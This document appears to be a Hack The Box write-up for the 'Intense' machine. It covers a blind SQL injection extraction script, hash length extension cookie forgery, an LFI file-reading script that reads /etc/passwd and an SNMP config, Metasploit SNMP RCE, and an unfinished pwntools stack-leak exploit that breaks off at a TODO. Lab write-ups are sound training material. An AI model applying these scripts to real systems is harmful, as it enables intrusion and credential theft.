Intense
SQL Injection, Hash Length Extension, LFI and binary exploitation
Overview
Intense is definitely the best box I have ever done on HTB, and I loved it every step of the way. We start by doing some general tampering on the website and, combined with source code analysis, we find an SQL injection vulnerability. As there is no controllable output, we can execute a boolean-based blind SQL injection attack and extract the secret character by character.
The hash is not crackable, but rather used to sign a custom JWT token to prove it's authentic. The hashing algorithm in use is vulnerable to a Hash Length Extension attack, which allows us to append our own data to the hash and sign in as the admin. More source code analysis reveals admins have access to an API vulnerable to LFI.
Using the LFI we can grab an SNMP Read-Write Community string, which we can leverage for RCE. From here we exploit a vulnerable binary run by root to gain root access.
Enumeration
Nmap
nmap shows ports 22 and 80 open, so let's have a look at 80.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)
| 256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)
|_ 256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Intense - WebApp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelHTTP
Couple things to note right away:
We get given the default credentials
guest:guestThe app is open source
I'm going to download the source right away, and while that goes I'll sign in as guest.
First things first, I notice a cookie has been assigned:
auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.Lye5tjuupon4SLXjM0Jpc/l6Xkm5+POtT6xFlDtho3I=Looks like a custom JWT due to the two base64 strings separated by a .. Let's try decoding it.
username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;
<<invalid text>>The second part of the cookie looks like it's not ASCII. Based on how JWTs normally work, we'll assume it's the cookie signature.
Source Code Analysis
Around now we crack open VS Code and have a look at how the cookie is made, along with possible attack vectors.
The cookies seem to be defined in lwt.py.
def sign(msg):
""" Sign message with secret key """
return sha256(SECRET + msg).digest()This function appears to create the signature we saw as part of the JWT (I'll call it an LWT from now to avoid confusion). How is SECRET defined?
SECRET = os.urandom(randrange(8, 15))SECRET is completely random, which means that hypothetically we shouldn't be able to forge the LWTs.
The base app.py has an interesting function, however:
@app.route("/submitmessage", methods=["POST"])
def submitmessage():
message = request.form.get("message", '')
if len(message) > 140:
return "message too long"
if badword_in_str(message):
return "forbidden word in message"
# insert new message in DB
try:
query_db("insert into messages values ('%s')" % message)
except sqlite3.Error as e:
return str(e)
return "OK"If we use the Send Message feature of the website, our data gets parsed immediately into a database query. There's no sanitisation involved (with the exception of checking that the message is within 140 characters), so we should be able to do some SQLi.
Note how the function returns the SQLite error if there is one, meaning we should get some feedback:
Now we know there is some SQL injection involved, let's think about what we need to extract. In utils.py, we see that there's a try_login function:
def try_login(form):
""" Try to login with the submitted user info """
if not form:
return None
username = form["username"]
password = hash_password(form["password"])
result = query_db("select count(*) from users where username = ? and secret = ?", (username, password), one=True)
if result and result[0]:
return {"username": username, "secret":password}
return NoneNow we know there is a column called username and a column called secret. If we go back in the source, we can see that the secret is used for creating the LWTs.
In app.py:
@app.route("/postlogin", methods=["POST"])
def postlogin():
# return user's info if exists
data = try_login(request.form)
if data:
resp = make_response("OK")
# create new cookie session to authenticate user
session = lwt.create_session(data)
cookie = lwt.create_cookie(session)
resp.set_cookie("auth", cookie)
return resp
return "Login failed"Calling lwt.create_session() with the response:
def create_session(data):
""" Create session based on dict
@data: {"key1":"value1","key2":"value2"}
return "key1=value1;key2=value2;"
"""
session = ""
for k, v in data.items():
session += f"{k}={v};"
return session.encode()Extracting the admin's secret might bring us one step closer to successfully logging in as the admin.
SQL Injection
As only errors are returned, I originally attempted to trigger my own custom errors. In the end, though, I went for a boolean-based blind SQLi payload.
Payload Formation
After a big of tampering, I finished on this payload:
yes') UNION SELECT CASE SUBSTR(username,0,1) WHEN 'a' THEN LOAD_EXTENSION('b') ELSE 'yes' END role FROM users--CASEtests the specific thing we give itSUBSTR(username,0,1)grabs the first character of the usernameWHEN 'a'is the other part ofCASE- if the value, in this case the result ofSUBSTR()isa, it'll then runLOAD_EXTENSION('b'). If not, it essentially does nothing.LOAD_EXTENSION('b')is just there to trigger the error if the first characters isaas there is likely to be no extension with the nameb
Extracting the admin username
We can assume the username is admin, but we should make sure.
We'll loop through username with every printable character and see if it matches. Note that it will also match guest, so there'll be two matches. The way I'll fix this is I'll print it out only if it's not the corresponding letter in the word guest and hope there are no common letters, although there's probably a better way.
If we find a match, we add it to the known string and go again.
from requests import post
from string import printable
guest = 'guest_________' # if len(username) > 5 to get no index errors
name = ""
i = 0
for i in range(10): # assuming it's a maximum of 10 long
for char in printable:
message = f"yes') UNION SELECT CASE SUBSTR(username,{i + 1},1) WHEN '{char}' THEN LOAD_EXTENSION('b') ELSE 'yes' END role FROM users--"
data = {'message': message}
r = post('http://intense.htb/submitmessage', data=data)
if r.text == "not authorized":
if char != guest[i]:
name += char
print(f"char found: {char}")
print(name)Success!
char found: a
char found: d
char found: m
char found: i
char found: n
adminAs expected, the username is admin. Now let's extract the secret.
Extracting the admin secret
from requests import post
from string import hexdigits
guest = '84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec'
admin = ''
i = 0
for i in range(0, len(guest)):
for char in hexdigits:
message = f"yes') UNION SELECT CASE SUBSTR(secret,{i + 1},1) WHEN '{char}' THEN LOAD_EXTENSION('b') ELSE 'yes' END role FROM users--"
data = {'message': message}
r = post('http://intense.htb/submitmessage', data=data)
if r.text == "not authorized":
if char != guest[i]:
admin += char
print(f"char found: {char}")
# if at the end of trying all digits the secret isn't the expected length,
# it must have shared a digit with the guest secret and we skipped over it
# so we'll just append it
if len(admin) != (i + 1):
char = guest[i]
admin += char
print(f"char found: {char}")
print(admin)We get the hash f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105, which appears to be the correct size:
$echo -n 'f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105' | wc -c
64Signing in as the admin
Now we have the secret, it's time to work out what we can use it for. The way the cookies are signed is vulnerable to a Hash Length Extension attack. A good explanation can be found here, but the basic theory is that even if you don't know the secret you can append data to the end of the hash simply by continuing the hashing algorithm.
I'll be using hashpumpy to extend the hashes.
from base64 import b64encode
from requests import get
from hashpumpy import hashpump
current = b'username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;'
signature = b'2f27b9b63baea689f848b5e333426973f97a5e49b9f8f3ad4fac45943b61a372' # change per instance!
append = b';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
for x in range(8, 15):
new_signature, value = hashpump(signature, current, append, x)
cookie = b64encode(value) + b'.' + b64encode(bytes.fromhex(new_signature))
r = get('http://intense.htb/admin', cookies={'auth' : cookie.decode()})
if r.status_code != 403:
print(cookie)The signature changes every reset, so make sure you update it!
I got the cookie
dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Kj3kZb1zkyyn0eUdcAEy/u2k0TZJWvUAIDCmPuLqdNU=Updating it in Inspect Element works!
Analysing the Source as Admin
A logical place to look now would be admin.py.
@admin.route("/admin/log/view", methods=["POST"])
def view_log():
if not is_admin(request):
abort(403)
logfile = request.form.get("logfile")
if logfile:
logcontent = admin_view_log(logfile)
return logcontent
return ''
@admin.route("/admin/log/dir", methods=["POST"])
def list_log():
if not is_admin(request):
abort(403)
logdir = request.form.get("logdir")
if logdir:
logdir = admin_list_log(logdir)
return str(logdir)
return ''The admin viewing abilities allow you to read files. Interesting. Are admin_view_log() and admin_list_dir() safe?
def admin_view_log(filename):
if not path.exists(f"logs/{filename}"):
return f"Can't find {filename}"
with open(f"logs/{filename}") as out:
return out.read()
def admin_list_log(logdir):
if not path.exists(f"logs/{logdir}"):
return f"Can't find {logdir}"
return listdir(logdir)Nope! Simple LFI flaw.
Scripting the LFI
I made a simple, messy script.
from requests import post
cookies = {'auth': 'dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Kj3kZb1zkyyn0eUdcAEy/u2k0TZJWvUAIDCmPuLqdNU='}
while True:
read = input('>>> ')
cmd, *folder = read.split()
if cmd == 'ls':
loc = '../' * 8 + '..' + ''.join(folder)
r = post('http://intense.htb/admin/log/dir', cookies=cookies, data={'logdir': loc})
files = '\n'.join(eval(r.text))
print(files)
else:
loc = '../' * 8 + '..' + read
r = post('http://intense.htb/admin/log/view', cookies=cookies, data={'logfile': loc})
print(r.text.rstrip())If we read /etc/passwd, we see there's a user called user.
>>> /home/user/user.txt
6b5...Now to find a way to get foothold.
After some searching (and some nmap) we find SNMP is open, so let's see what we can do with that.
>>> /etc/snmp/snmpd.conf
[...]
rocommunity public default -V systemonly
rwcommunity SuP3RPrivCom90
[...]There's a rwcommunity called SuP3RPrivCom90. RW Communities can be leveraged for RCE. To do this, I'm going to use the metasploit linux/snmp/net_snmpd_rw_access module.
msf6 exploit(linux/snmp/net_snmpd_rw_access) > set COMMUNITY SuP3RPrivCom90
COMMUNITY => SuP3RPrivCom90
msf6 exploit(linux/snmp/net_snmpd_rw_access) > set RHOSTS intense.htb
RHOSTS => intense.htb
msf6 exploit(linux/snmp/net_snmpd_rw_access) > set LHOST tun0
LHOST => tun0
msf6 exploit(linux/snmp/net_snmpd_rw_access) > runAnd we get a meterpreter shell! Our user is Debian-snmp.
Finding Root
If we go into the home directory of user, we see a note_server and a note_server.c. Running netstat -tunlp tells us there is something listening on port 5001.
netstat -tunlp
[...]
tcp 0 0 127.0.0.1:5001 0.0.0.0:* LISTEN -
[...]We can dump the files using meterpreter.
meterpreter > download note_server
meterpreter > download note_server.cLet's run the file and check if it's this that runs on port 5001:
$ netstat -tunlp | grep note_server
tcp 0 0 127.0.0.1:5001 0.0.0.0:* LISTEN 9264/./note_serverChecking the source, it definitely does.
/* Initialize socket structure */
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = 5001;As the program is running remotely, binary exploitation seems likely, so I'm going to dump the remote libc and linker as well:
$ ldd note_server
linux-vdso.so.1 (0x00007ffee41ec000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f12b4eba000)
/lib64/ld-linux-x86-64.so.2 (0x00007f12b54ae000)meterpreter > download /lib/x86_64-linux-gnu/libc.so.6
meterpreter > download /lib64/ld-linux-x86-64.so.2I'll rename them to libc-remote.so and ld-remote.so respectively.
Exploiting the Binary
Summary
A few things lack bounds checking, allowing us to a) leak the stack and b) write to the stack.
Analysis
The only part that's important is the switch statement within handle_client(), as it's in an infinite loop that gets run.
switch(cmd) {
// write note
case 1:
if (read(sock, &buf_size, 1) != 1) {
exit(1);
}
// prevent user to write over the buffer
if (index + buf_size > BUFFER_SIZE) {
exit(1);
}
// write note
if (read(sock, ¬e[index], buf_size) != buf_size) {
exit(1);
}
index += buf_size;
break;
// copy part of note to the end of the note
case 2:
// get offset from user want to copy
if (read(sock, &offset, 2) != 2) {
exit(1);
}
// sanity check: offset must be > 0 and < index
if (offset < 0 || offset > index) {
exit(1);
}
// get the size of the buffer we want to copy
if (read(sock, ©_size, 1) != 1) {
exit(1);
}
// prevent user to write over the buffer's note
if (index > BUFFER_SIZE) {
exit(1);
}
// copy part of the buffer to the end
memcpy(¬e[index], ¬e[offset], copy_size);
index += copy_size;
break;
// show note
case 3:
write(sock, note, index);
return;
}To summarise, the code can do the following:
Write
Read input size - only one byte
Check if that would bring you over the max size
Read that many bytes
Increase
index(a pointer to the end of the current note)
Copy
Take in offset
Take in size
Check if
indexis out of rangeCopy Data
Increase
index
Show
Write note contents
The main flaw here is the check for copy occurs before index is increased. So if we copy a massive chunk, the check will be passed anyway.
Setup
First, some basic setup:
from pwn import *
elf = context.binary = ELF('./note_server')
if args.REMOTE:
libc = ELF('./libc-remote.so')
p = process('127.0.0.1', 5002) # for the portfwd
else:
libc = elf.libc
p = process('127.0.0.1', 5001)
### Wrapper Functions
def write(data):
if isinstance(data, str):
data = data.encode()
p.send(b'\x01' + p8(len(data)) + data)
def copy(start=0, length=100):
p.send(b'\x02' + p16(start) + p8(length))
def read():
p.send(b'\x03')
return p.clean(0.5)Leaking Canary and PIE
Now let's try writing 3 times then copying a massive amount.
write('A' * 0xff)
write('B' * 0xff)
write('C' * 0xff)
copy(start=0xff*3, length=250)
print(read())Well, we've leaked significantly more than the stuff we wrote, that's for sure. Let's completely fill up the buffer, so we can work with the stuff after it. The buffer size is 1024 bytes, plus another 8 for the saved RBP.
write('A' * 0xff) # 255
write('B' * 0xff) # 510
write('C' * 0xff) # 765
write('D' * 0xff) # 1020
write('E' * 4) # 1024
copy(start=1024, length=32)
leaks = read()[1024:]
addrs = [u64(leaks[addr:addr+8]) for addr in range(0, len(leaks), 8)]
[print(hex(addr)) for addr in addrs]0x7ffe9d91bbe0
0xdc185629f84e5a00 canary
0x7ffe9d91bbe0 rbp
0x565150b24f54 ripNow we've successfully leaked, we can parse the values. Using radare2 and breaking on the ret, the offset between the leaked RIP value there and binary base is 0xf54:
leaks = read()[1032:]
canary = u64(leaks[:8])
log.success(f'Canary: {hex(canary)}')
ret_pointer = u64(leaks[16:24])
elf.address = ret_pointer - 0xf54
log.success(f'PIE Base: {hex(elf.address)}')Now we need to somehow read a GOT entry. Since the binary uses write(), it's possible. But first we need to get the copy working in a way that it starts overwriting at exactly the return pointer. With a bit of messing about, I got a function that seemed to work.
def deliver_payload(payload):
payload = 'A' * 12 + payload
payload = payload.ljust(0xff, 'A')
write(payload)
write('B' * 0xff)
write('C' * 0xff)
write('D' * 0xff)
copy(12 + len(payload))We're 12 off the canary at the end, so we put 12 A characters ahead and copy 12 extra.
Leaking LIBC
TODO
Last updated
Was this helpful?